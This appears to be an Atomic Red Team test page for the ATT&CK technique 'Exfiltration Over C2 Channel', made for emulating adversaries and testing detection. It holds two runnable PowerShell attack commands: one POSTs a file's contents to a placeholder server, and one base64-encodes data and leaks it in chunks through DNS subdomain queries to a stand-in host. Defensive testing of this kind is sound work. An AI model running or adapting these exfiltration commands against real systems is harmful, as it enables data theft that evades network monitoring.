Try it using Invoke-Atomic

Exfiltration Over C2 Channel

Description from ATT&CK

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

Atomic Tests

Atomic Test #1 - C2 Data Exfiltration

Exfiltrates a file present on the victim machine to the C2 server.

Supported Platforms: windows

auto_generated_guid: d1253f6e-c29b-49dc-b466-2147a6191932

Inputs:

Name Description Type Default Value
destination_url Destination URL to post encoded data. string example.com
filepath The file which is being exfiltrated to the C2 Server. path $env:TEMP\LineNumbers.txt

Attack Commands: Run with powershell!

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if(-not (Test-Path #{filepath})){ 
  1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive

Atomic Test #2 - Text Based Data Exfiltration using DNS subdomains

Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.

Supported Platforms: windows

auto_generated_guid: c9207f3e-213d-4cc7-ad2a-7697a7237df9

Inputs:

Name Description Type Default Value
dns_server DNS server IP address or domain name. url dns.example.com
exfiltrated_data Data to be exfiltrated. string SecretDataToExfiltrate
chunk_size Size of each DNS query chunk (in characters). integer 63

Attack Commands: Run with powershell!

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$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}

$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"

foreach ($chunk in $chunks) {
    $dnsQuery = $chunk + "." + $dnsServer
    Resolve-DnsName -Name $dnsQuery
    Start-Sleep -Seconds 5
}

source